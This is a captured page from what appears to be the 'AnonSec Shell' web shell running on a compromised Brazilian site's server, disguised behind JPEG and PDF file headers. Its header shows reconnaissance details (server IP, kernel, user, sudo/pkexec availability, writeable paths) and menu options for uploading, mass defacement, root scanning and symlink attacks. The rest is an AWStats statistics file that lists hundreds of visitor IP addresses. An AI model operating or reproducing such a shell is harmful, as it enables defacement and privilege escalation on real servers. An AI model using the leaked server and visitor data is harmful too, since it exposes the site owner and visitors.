ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/tmp/awstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/tmp/awstats//awstats042018.admin.evidenciarevista.com.br.txt
AWSTATS DATA FILE 7.6 (build 20161204)
# If you remove this file, all statistics for date 201804 will be lost/reset.
# Last config file used to build this data file was /home/evidenciarevista/tmp/awstats/awstats.admin.evidenciarevista.com.br.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2034                
POS_TIME 2707                
POS_VISITOR 12019               
POS_DAY 48274               
POS_DOMAIN 3671                
POS_LOGIN 4613                
POS_ROBOT 4768                
POS_WORMS 5525                
POS_EMAILSENDER 5656                
POS_EMAILRECEIVER 5799                
POS_SESSION 49181               
POS_SIDER 49346               
POS_FILETYPES 5934                
POS_DOWNLOADS 6215                
POS_OS 6263                
POS_BROWSER 6609                
POS_SCREENSIZE 8805                
POS_UNKNOWNREFERER 8879                
POS_UNKNOWNREFERERBROWSER 9162                
POS_ORIGIN 9612                
POS_SEREFERRALS 9754                
POS_PAGEREFS 10520               
POS_SEARCHWORDS 10728               
POS_KEYWORDS 10880               
POS_MISC 2371                
POS_ERRORS 10939               
POS_CLUSTER 4469                
POS_SIDER_404 11068               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20180501000729 1949 639890 24757968705578
FirstTime 0
LastTime 20180425165235
LastUpdate 20180501203630 1949 0 1948 0 0
TotalVisits 16                  
TotalUnique 12                  
MonthHostsKnown 0                   
MonthHostsUnknown 1316                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
PDFSupport 0 0 0
AddToFavourites 0 6 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 0 5324 738284557 0 316 40638585
1 1 1178 194190086 0 213 27319313
2 0 190 37752554 0 145 16929912
3 0 797 120244998 1 149 17948324
4 0 141 23934863 0 410 50772249
5 2 450 64055833 7 165 17365549
6 8 2289 342913547 4 207 26702120
7 3 2493 410611194 1 249 29018773
8 2 3629 591670553 7 274 30943491
9 0 4565 718728154 0 225 29204415
10 0 6710 984383685 0 296 31838056
11 0 9546 1404414859 0 333 41047640
12 0 6128 934139953 0 208 29932299
13 7 8603 1325915741 9 307 31341118
14 396 9112 1334640772 2 412 45106386
15 198 9225 1337774846 6 373 29624412
16 27 9296 1389381890 8 326 33722044
17 8 7994 1148695518 0 343 36399530
18 2 4996 752439721 7 282 30881291
19 0 8614 1233764803 1 364 43050843
20 0 7164 1155259577 0 324 39041469
21 0 7811 1183064232 0 360 39858679
22 0 5668 924970681 0 373 45969469
23 0 3652 581820044 0 255 27192305
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 49
br 633 54830 8374826669
us 12 38424 5937587977
ua 5 7 127996
vn 4 17 1644099
fr 0 2 148692
gr 0 1 58018
bg 0 24 4537350
za 0 2 116036
hn 0 1 164221
th 0 8135 1143992006
in 0 2 130862
lb 0 2 588545
mx 0 7 1937818
ca 0 175 19923547
es 0 56 9935556
ao 0 1 58018
co 0 8 658502
be 0 2 116036
gb 0 194 32518748
nz 0 1 72844
kz 0 1 58018
cz 0 1 90674
ro 0 1 58018
tr 0 1 70854
pl 0 1 90674
ar 0 23429 3361408885
ae 0 1 58018
ch 0 77 14004042
af 0 1 58018
bo 0 8 1085051
au 0 90 16128324
iq 0 1 90674
ir 0 2 115247
cl 0 3 776572
pt 0 14 1752504
lk 0 1 57229
cr 0 2 178746
pe 0 27 5355497
pa 0 2 181348
mz 0 2 526965
ph 0 2 115247
rs 0 1 58018
de 0 3 495584
it 0 2 145688
my 0 1 57229
ma 0 1 58018
ge 0 1 58018
jp 0 5 537384
ec 0 3 238577
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 15
facebookexternalhit/ 1627 209781946 20180430232740 0
bingbot/ 1337 197298108 20180430232406 140
Googlebot\-Image/ 834 27245968 20180430232355 0
bingpreview 643 107656734 20180430215203 0
no_user_agent 536 72412652 20180429230039 0
bot[\s_+:,\.\;\/\\-] 265 17797009 20180423103325 124
Google[\x20]Web[\x20]Preview 70 12157453 20180421111715 0
link 38 6734058 20180405111434 0
PhantomJS 31 8480343 20180423003144 0
Googlebot/ 24 576 20180430085943 24
archive\.org_bot 6 960069 20180423200001 3
java 3 742170 20180407192021 0
spider 2 2416 20180418032806 1
AhrefsBot/ 1 150797 20180407003317 0
Dalvik/ 1 57229 20180422193034 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 11
jpg 124684 18884427193 0 0
js 121 5232453 0 0
php 23 679150 0 0
Unknown 601 24480912 0 0
gif 5 46799 0 0
woff2 3 54084 0 0
woff 2 28440 0 0
png 10 156418 0 0
html 25 59800 0 0
jpeg 89 16759726 0 0
css 12 1127686 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 20
macosx12 285 0
macosx10 1 0
win10 12845 642
macosx9 40 0
win8.1 6626 2
winlong 130 0
winunknown 1 0
linuxandroid 52821 0
ios_iphone 10449 0
macosx 160 0
macosx11 82 0
win8 314 0
winphone 67 0
winxp 2706 1
unix 28 0
win7 37707 8
linux 72 1
ios_ipod 1 0
ios_ipad 1233 0
Unknown 7 0
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 102
safari10.0.3 1 0
safari11.1 68 0
edge15 1 0
firefox52.0 84 0
firefox30.0 1 0
safari11.0 6514 0
chrome39.0.0.0 1 0
chrome63.0.3239.132 282 8
chrome64.0.3282.123 37 0
firefox54.0 38 0
chrome61.0.3163.100 362 0
chrome62.0.3202.84 459 0
chrome66.0.3359.117 6463 563
chrome56.0.2924.87 2497 6
msie10.0 112 0
chrome38.0.1025.166 16036 0
chrome64.0.3282.137 1031 0
chrome34.0.1847.76 30 0
firefox41.0 50 0
chrome67.0.3386.1 25 0
chrome49.0.2623.112 2357 0
chrome59.0.3071.125 41 0
chrome65.0.3325.109 15158 0
opera52.0.2871.40 27 0
chrome43.0.2357.93 40 0
msie8.0 1 0
chrome48.0.2564.106 24 0
chrome53.0.2785.143 1 0
firefox11.0 138 0
chrome66.0.3359.139 7301 0
chrome60.0.3112.116 43 0
chrome50.3.2661.130 13 0
chrome61.0.3163.98 40 0
chrome65.0.3325.181 31948 70
chrome58.0.3029.83 1434 0
chrome54.0.2840.99 1 0
chrome65.0.3325.184 1 0
firefox38.0 1 0
firefox57.0 1216 0
chrome49.0.2623.75 1 1
msie7.0 2 0
firefox45.0 3 0
safari9.0 1104 0
chrome58.0.2988.0 2 0
chrome63.0.3239.84 260 0
chrome57.14.2987.98 78 0
opera12.16 1 0
chrome30.0.0.0 2 0
chrome51.0.2704.106 1 0
chrome37.0.0.0 26 0
firefox51.0 2 0
chrome39.0.2171.95 1 0
safari11.0.3 2 0
chrome66.0.3359.126 11777 0
chrome64.0.3282.186 236 0
chrome49.0.2623.105 74 0
safari10.1 28 0
chrome62.0.3202.94 5 1
edge16 481 0
firefox49.0 3 0
chrome65.0.3325.209 27 0
chrome63.0.3239.83 78 0
chrome55.0.2883.75 1 0
iphone 645 0
chrome55.0.2883.91 165 0
chrome51.0.2704.81 1 0
firefox29.0 1 0
chrome58.0.3029.110 99 0
Unknown 16 0
chrome51.9.2704.63 357 0
safari 1731 0
chrome57.0.2987.133 30 0
chrome46.0.2490.80 293 0
chrome51.0.2683.0 99 0
mozilla 29 0
opera52.0.2871.64 759 0
chrome50.0.2661.89 1 0
safari11.0.1 1 0
chrome54.0.2840.85 101 0
chrome58.5.3029.81 1 0
firefox56.0 1 0
firefox43.0 1 0
chrome54.0.2840.98 39 0
chrome50.0.2661.86 3 0
msie11.0 3061 4
safari9.1.2 1 0
chrome33.0.0.0 2 0
msie6.0 1 1
chrome66.0.3359.106 3197 0
android 52 0
safari10.0 1678 0
firefox59.0 4214 0
chrome38.0.2125.102 251 0
chrome63.0.3239.111 377 0
chrome40.0.2214.85 117 0
firefox55.0 2 0
firefox37.0 67 0
safari10.1.2 105 0
safari8.0 1 0
chrome28.0.1500.94 1 0
chrome65.0.3325.162 1 0
chrome60.0.3112.113 2 0
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 3
WhatsApp/2.18.92_A 20180409090921
YahooCacheSystem;_YahooWebServiceClient 20180404060746
Opera/9.80_(MAUI_Runtime;_Opera_Mini/4.4.39016/93.110;_U;_pt)_Presto/2.12.423_Version/12.16 20180418042518
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 6
com.google.GoogleMobile/41.0.0_iPad/9.3.5_hw/iPad2_4 20180421111706
com.google.GoogleMobile/42.0.0_iPod_touch/9.3.5_hw/iPod5_1 20180419150827
YahooCacheSystem;_YahooWebServiceClient 20180404060746
com.google.GoogleMobile/42.0.0_iPad/9.3.5_hw/iPad2_1 20180416173922
com.google.GoogleMobile/46.0.0_iPad/10.3.3_hw/iPad3_5 20180416102833
WhatsApp/2.18.92_A 20180409090921
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 24 380
From1 0 0
From2 0 774
From3 0 1
From4 630 124420
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 31
www_google_be 0 1
images_search_yahoo_com 0 2
www_google_gr 0 1
www_google_com_do 0 1
bing 0 13
www_google_com_py 0 1
www_google_com_pe 0 1
www_google_cl 0 1
www_google_it 0 2
www_google_com_mx 0 5
www_google_pt 0 7
www_google_com_ph 0 2
www_google_hn 0 1
www_google_ge 0 1
www_google_co_in 0 4
www_google_com_ua 0 1
www_google_kz 0 1
images_google_com 0 3
www_google_co_uk 0 3
www_google_com_af 0 1
www_google_com_br 0 605
www_google_de 0 2
www_google_es 0 4
www_google_ca 0 1
www_google_lk 0 1
www_google_com_ar 0 6
www_google_com 0 96
www_google_co_th 0 2
www_google_rs 0 1
www_google_com_co 0 2
www_google_com_ec 0 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
http://peopleinfo.net/Name/LMD/Lidia-Ma-ra-De-Oliveira/ 0 1
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
500 3 0
206 1386 130027308
302 20 8620
404 76 334816
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 14
/uploads/post/21b01903f26dce56774ee90f3014d84b.jpg 18 -
/https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js 1 -
/site/wp-includes/wlwmanifest.xml 4 -
/uploads/post/6ce1f476233e3ce0fae80e6460e2b4a1.jpg 21 -
/wp-includes/wlwmanifest.xml 4 -
/cms/wp-includes/wlwmanifest.xml 4 -
/wp/wp-includes/wlwmanifest.xml 4 -
/https://oss.maxcdn.com/respond/1.4.2/respond.min.js 1 -
/blog/wp-includes/wlwmanifest.xml 4 -
/uploads/slides/946edd8c0f5b8109d74b7a0a0f1f207d.jpg 2 -
//modules/mod_simplefileuploadv1.3/elements/udd.php 2 -
/xmlrpc.php 4 -
/wordpress/wp-includes/wlwmanifest.xml 4 -
/uploads/slides/9a504ca7b287f9614463d422d43b38e6.jpg 3 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 1316
177.138.213.204 563 1591 116879207 20180425165235
152.254.197.140 62 613 114700507 20180412171150
152.249.232.32 8 350 83813756 20180420072026
54.207.33.42 7 7 16744 20180416141821
123.30.235.19 4 4 9568 20180417183750
178.137.165.32 4 4 9568 20180404081325
46.118.155.165 1 1 2392 20180414060911
155.64.38.80 1 1 2392 20180414063152
199.116.173.196 1 1 2392 20180419150741
69.12.66.213 1 1 2392 20180421011437
8.28.16.254 1 1 2392 20180414063152
66.249.83.95 1 1507 253637829 20180413164741
187.65.98.120 0 1 57229 
189.92.207.48 0 1 72844 
177.87.146.185 0 7 453932 
170.83.213.74 0 1 57229 
131.161.208.2 0 27 4273347 
201.95.225.37 0 85 15601516 
187.74.43.254 0 38 6904799 
186.232.25.81 0 1 83744 
170.79.87.151 0 39 7118105 
189.63.254.195 0 626 81165441 
189.48.95.144 0 155 23921905 
177.45.38.67 0 47 8869344 
186.206.168.83 0 1 90674 
200.163.19.44 0 1 161922 
213.143.49.106 0 1 90674 
187.40.61.135 0 1 58018 
187.65.196.74 0 1 310798 
177.185.23.130 0 87 16553478 
179.247.174.36 0 8 0 
89.152.49.60 0 1 57229 
66.102.8.57 0 415 73154035 
177.79.8.247 0 33 4896673 
179.179.227.166 0 1 72844 
177.138.89.190 0 4 1472660 
66.249.83.149 0 145 22258045 
189.115.82.190 0 3 1241548 
170.82.65.24 0 1 57229 
187.111.172.36 0 1 79610 
189.10.25.195 0 1 230286 
189.59.42.191 0 1 90674 
191.209.10.18 0 36 5709345 
177.53.76.2 0 39 7118105 
191.13.184.137 0 46 10749895 
168.227.12.59 0 38 6734058 
191.193.183.249 0 43 9217495 
189.10.96.252 0 1 50149 
66.220.151.88 0 6 831143 
189.94.111.69 0 6 1118725 
187.108.75.216 0 1 264041 
177.72.254.144 0 1 58018 
186.205.7.15 0 32 9032784 
177.157.166.221 0 303 41137673 
191.190.145.228 0 1 58018 
177.184.132.174 0 1 58018 
177.22.68.120 0 10 4237450 
189.40.89.93 0 3 1219695 
177.99.76.228 0 1 623856 
38.65.20.192 0 1 798070 
191.209.7.29 0 1 130469 
177.79.26.146 0 18 2663732 
179.159.77.8 0 48 9096263 
168.228.114.239 0 38 6904799 
177.87.145.78 0 1 204581 
80.129.118.187 0 1 58018 
179.235.112.104 0 1 90674 
179.111.201.61 0 1 58018 
189.15.212.228 0 1 535926 
179.82.86.85 0 1 90674 
190.63.255.66 0 1 90674 
200.102.174.72 0 2 247580 
177.149.193.254 0 1 58018 
187.115.241.119 0 1 58018 
177.79.45.114 0 20 3691608 
201.55.56.105 0 10 1776165 
191.205.89.253 0 132 20440514 
187.26.130.4 0 1 292683 
187.16.138.6 0 27 4164490 
168.194.86.140 0 2 1020130 
177.138.137.230 0 106 12273789 
177.53.102.81 0 1 58018 
189.111.65.142 0 1 0 
168.228.130.229 0 39 7118105 
186.209.74.35 0 1 113019 
107.167.111.42 0 1 58018 
152.254.132.248 0 47 11288355 
181.223.86.79 0 1 72844 
177.87.146.237 0 595 76319432 
177.87.144.238 0 1 168257 
187.57.232.49 0 16 2461264 
185.26.33.130 0 1 57229 
201.46.52.92 0 11 1811500 
24.151.10.203 0 1 58018 
186.216.170.207 0 1 72844 
191.54.207.198 0 75 7810602 
186.1.128.65 0 1 90674 
167.250.104.113 0 37 8804626 
66.249.83.27 0 132 21908618 
177.54.72.237 0 63 9884219 
187.35.242.18 0 11 0 
177.67.4.114 0 27 5391795 
177.33.5.192 0 20 2665426 
200.229.184.47 0 1 72844 
191.19.99.80 0 38 6904799 
66.249.93.55 0 2 418510 
177.205.226.133 0 1 118617 
189.38.157.41 0 75 11854248 
200.179.214.174 0 2 129518 
187.111.97.91 0 2 418185 
66.102.6.121 0 656 118392988 
186.225.102.70 0 1 249563 
191.5.78.74 0 2 332412 
168.121.53.246 0 1 204581 
177.234.173.8 0 38 6904799 
201.82.183.159 0 1 58018 
187.52.69.127 0 1 752524 
191.13.19.126 0 826 125372766 
179.241.216.82 0 45 8699519 
152.249.231.24 0 41 7188928 
190.236.242.6 0 27 5355497 
200.233.241.135 0 269 35798090 
201.16.205.209 0 1 535926 
50.233.227.162 0 1 58018 
200.192.244.226 0 1 58018 
191.54.52.118 0 31 5764267 
191.8.165.60 0 126 21509317 
157.33.51.238 0 1 58018 
177.142.25.75 0 1 90674 
91.93.95.182 0 1 70854 
66.249.83.23 0 135 22968119 
177.104.193.113 0 1 58018 
200.207.65.38 0 38 6734058 
168.121.53.251 0 534 71370037 
45.71.160.18 0 1 72844 
200.162.132.66 0 1 111982 
200.140.170.140 0 1 57229 
177.139.210.95 0 1 367719 
187.34.32.73 0 101 14882603 
78.29.174.178 0 1 57229 
201.92.79.248 0 78 14237415 
177.182.149.208 0 1 5076 
66.220.151.90 0 8 1840307 
187.26.216.1 0 16 2692566 
190.221.35.101 0 1 57229 
66.102.7.131 0 1 191712 
160.20.32.39 0 1 225174 
179.225.158.141 0 39 7119310 
201.55.56.103 0 46 7488090 
179.218.0.183 0 1 90674 
177.3.61.1 0 1 535926 
168.228.128.22 0 4096 613500698 
177.54.72.241 0 35 5895247 
198.135.125.93 0 1 83744 
191.223.121.224 0 10 1746936 
177.54.75.1 0 24 4627039 
168.121.55.35 0 51 8758350 
177.93.166.79 0 63 10932216 
177.87.151.46 0 1 164316 
187.0.57.202 0 159 23641764 
177.69.51.130 0 38 6734058 
5.148.22.130 0 1 83744 
189.36.199.4 0 1 72844 
201.55.8.69 0 138 25305935 
177.142.88.238 0 1 58018 
190.15.36.8 0 1 251962 
179.111.184.90 0 202 28611458 
186.224.207.154 0 38 6904799 
177.87.149.116 0 303 55152467 
201.81.161.150 0 46 10920636 
168.121.53.252 0 720 97169885 
191.13.120.194 0 1 50149 
177.87.144.86 0 38 5932714 
177.87.147.50 0 38 6904799 
177.87.146.205 0 39 7119310 
177.87.150.100 0 46 8120644 
179.111.236.57 0 131 20530414 
179.241.193.70 0 6 0 
104.129.196.174 0 1 113019 
73.157.158.59 0 2 1071852 
187.60.216.137 0 1 58018 
186.230.0.243 0 38 6904799 
179.85.121.7 0 1 412455 
191.32.107.176 0 24 4605888 
189.85.48.1 0 1 251962 
5.90.104.97 0 1 72844 
152.249.234.165 0 34 4627538 
177.204.24.81 0 15 2586130 
200.206.177.138 0 1 106031 
191.39.23.85 0 38 6734058 
201.159.183.74 0 3 1104941 
177.87.147.20 0 214 31332025 
172.58.68.13 0 1 58018 
168.121.53.245 0 601 77890419 
189.29.42.47 0 42 7319728 
189.60.147.4 0 1 72844 
179.109.92.180 0 1 83744 
200.211.190.129 0 2 765216 
189.84.193.98 0 27 4831210 
196.216.161.82 0 1 58018 
66.102.8.55 0 469 82438325 
201.6.131.220 0 39 7119310 
179.97.133.249 0 52 6792297 
177.87.149.192 0 38 6904799 
107.167.111.64 0 31 8480343 
200.222.172.26 0 1 57229 
187.55.22.71 0 39 6881251 
168.121.52.130 0 2084 315477061 
201.75.170.121 0 1 72844 
200.213.221.146 0 1 364434 
189.206.199.130 0 1 90674 
167.250.104.9 0 316 42845182 
177.79.40.78 0 19 3427702 
187.190.154.176 0 1 58018 
69.171.224.209 0 19 3299208 
186.239.253.194 0 25 4564804 
201.27.63.135 0 110 18134988 
164.163.185.245 0 1 72844 
69.171.224.208 0 6 1098451 
190.55.48.128 0 1 58018 
168.121.53.220 0 38 6904799 
66.102.6.119 0 645 107994421 
201.20.97.37 0 1 57229 
187.32.75.129 0 1 535926 
201.24.125.118 0 1 58018 
189.38.6.115 0 1 58018 
37.116.181.24 0 1 72844 
179.113.17.157 0 1 140031 
131.255.177.64 0 1 251962 
177.87.145.18 0 7 1373405 
93.115.105.31 0 1 58018 
201.43.160.221 0 37 5866690 
138.219.179.145 0 1 717964 
66.220.151.89 0 5 895916 
177.195.143.240 0 1 256771 
168.227.231.24 0 25 4735122 
82.155.76.168 0 1 67270 
168.228.128.18 0 4100 579485421 
201.26.98.68 0 819 112818707 
66.102.6.125 0 24 3691269 
177.79.40.243 0 1 487895 
187.26.74.102 0 31 8480343 
177.79.39.225 0 39 7118105 
187.87.121.234 0 73 10764271 
23.16.94.103 0 1 190769 
107.72.162.121 0 595 77032744 
187.10.14.84 0 26 4666958 
186.231.94.243 0 8 2001016 
200.103.38.197 0 1 58018 
186.194.76.194 0 29 5304433 
200.158.226.246 0 29 5304433 
177.9.190.242 0 2 1022743 
177.189.94.54 0 7 1043804 
177.32.199.153 0 3 1757839 
186.239.235.52 0 1 846434 
179.197.13.236 0 1 58018 
189.90.65.151 0 1 72844 
187.51.221.230 0 47 8141441 
189.76.130.246 0 31 8480343 
66.102.7.158 0 1629 270747666 
177.87.145.239 0 59 10735717 
131.72.152.222 0 113 19949614 
179.228.158.151 0 845 116810811 
177.52.51.99 0 2 1266453 
179.192.57.164 0 39 7119310 
157.32.45.34 0 1 58018 
187.32.247.249 0 102 16192284 
177.87.146.34 0 375 53005778 
170.84.157.75 0 38 6904799 
179.110.164.148 0 95 13377274 
179.156.28.146 0 1 58018 
191.205.86.123 0 5 1194409 
138.97.49.67 0 1 108461 
179.159.56.247 0 29 4780677 
66.249.85.14 0 5855 842166085 
177.79.18.32 0 1 406524 
212.58.99.6 0 1 58018 
170.150.185.34 0 1 58018 
187.101.41.50 0 5 0 
181.114.103.244 0 8 1085051 
167.250.104.127 0 42 7573627 
189.12.60.0 0 1 426524 
177.177.253.226 0 5 2413172 
189.54.144.174 0 4 870014 
201.11.139.149 0 1 535926 
200.95.195.114 0 1 58018 
201.82.195.84 0 1 72844 
187.70.227.49 0 1 90674 
177.87.151.136 0 43 8440995 
179.100.55.21 0 46 8227993 
177.87.150.30 0 38 6734058 
177.80.129.213 0 32 9032784 
200.245.70.183 0 1 118613 
189.50.144.245 0 1 72844 
200.236.193.128 0 1973 255846824 
177.158.200.181 0 39 7119310 
187.95.118.198 0 1 58018 
200.222.181.254 0 1 67270 
177.93.181.70 0 1 623856 
201.11.182.25 0 2 891282 
187.113.101.96 0 1 72844 
152.238.14.250 0 1 270676 
191.209.102.119 0 39 7118105 
168.194.162.81 0 1 79610 
187.26.179.79 0 64 13556583 
189.4.232.115 0 1 90674 
177.58.240.80 0 1 225174 
168.228.129.100 0 374 51272569 
189.46.126.41 0 24 4551615 
170.247.54.195 0 44 7865465 
177.87.145.2 0 1 106404 
189.143.156.128 0 1 535926 
168.228.128.30 0 559 97556318 
189.44.247.146 0 1 160887 
187.26.161.1 0 1 283844 
168.228.130.136 0 14 2269194 
179.158.133.220 0 1 139444 
177.87.145.70 0 30 7242395 
186.233.95.210 0 1 215046 
190.18.105.137 0 1 58018 
177.95.135.15 0 2 311942 
66.102.7.141 0 4 537471 
200.207.36.228 0 26 4666958 
2.83.143.214 0 1 303410 
177.188.70.143 0 13 1449414 
216.229.67.49 0 1 164098 
191.248.79.239 0 124 17929794 
71.232.61.175 0 2 198910 
200.165.250.77 0 1 72844 
201.13.88.107 0 8 0 
191.13.181.28 0 99 19001281 
186.201.27.35 0 44 8238528 
66.102.7.157 0 2 273301 
177.87.144.133 0 282 45263297 
200.189.118.213 0 1 58018 
187.183.35.77 0 4 3088668 
200.17.32.133 0 39 7119310 
177.58.180.64 0 44 8049914 
200.207.65.232 0 48 11215306 
201.13.81.53 0 39 7119310 
125.24.109.254 0 1 58018 
168.121.53.242 0 1299 155460482 
186.224.243.130 0 1 623856 
201.6.143.202 0 1 72844 
191.250.246.112 0 39 7119310 
200.149.33.126 0 1 118322 
200.205.219.202 0 61 9926416 
177.177.221.155 0 27 3812877 
187.101.35.26 0 29 5298060 
130.105.8.13 0 1 58018 
200.175.238.85 0 1 90674 
187.60.253.246 0 1 58018 
179.215.124.144 0 1 90674 
66.249.83.86 0 9 1849540 
187.26.146.2 0 1 58018 
191.209.59.151 0 1109 165581569 
177.194.243.88 0 1 83744 
168.121.53.216 0 3 297680 
153.230.46.104 0 1 58018 
94.61.152.112 0 1 90674 
66.220.152.130 0 8 1082790 
179.225.157.177 0 39 7119310 
179.110.164.91 0 9 0 
177.39.36.2 0 1 536644 
187.26.164.31 0 85 10001081 
201.6.143.28 0 1 72844 
179.111.143.148 0 46 8111372 
200.100.201.115 0 1 149699 
187.56.71.119 0 71 14089057 
189.68.111.28 0 38 6734058 
187.121.28.15 0 34 6465833 
177.87.148.153 0 25 4735122 
187.26.179.38 0 47 7891580 
177.67.4.97 0 1 249840 
201.6.233.103 0 1 117618 
179.99.234.136 0 1 364434 
187.123.175.60 0 100 19771036 
191.32.242.80 0 1 9973 
177.79.15.30 0 2 0 
179.113.72.244 0 43 7660032 
63.250.204.25 0 1 218783 
177.9.75.218 0 67 10114183 
179.159.165.39 0 99 15590431 
66.249.83.65 0 1523 262371926 
179.110.202.170 0 5 0 
186.206.50.66 0 1 72844 
191.54.247.214 0 1 72844 
203.144.130.176 0 1 58018 
191.209.59.155 0 82 16265286 
187.84.5.18 0 12 1959972 
201.6.229.250 0 1 57229 
58.8.226.216 0 1 58018 
191.8.5.24 0 19 2520030 
27.130.77.101 0 1 58018 
201.42.187.193 0 82 13270893 
201.92.81.132 0 38 6734058 
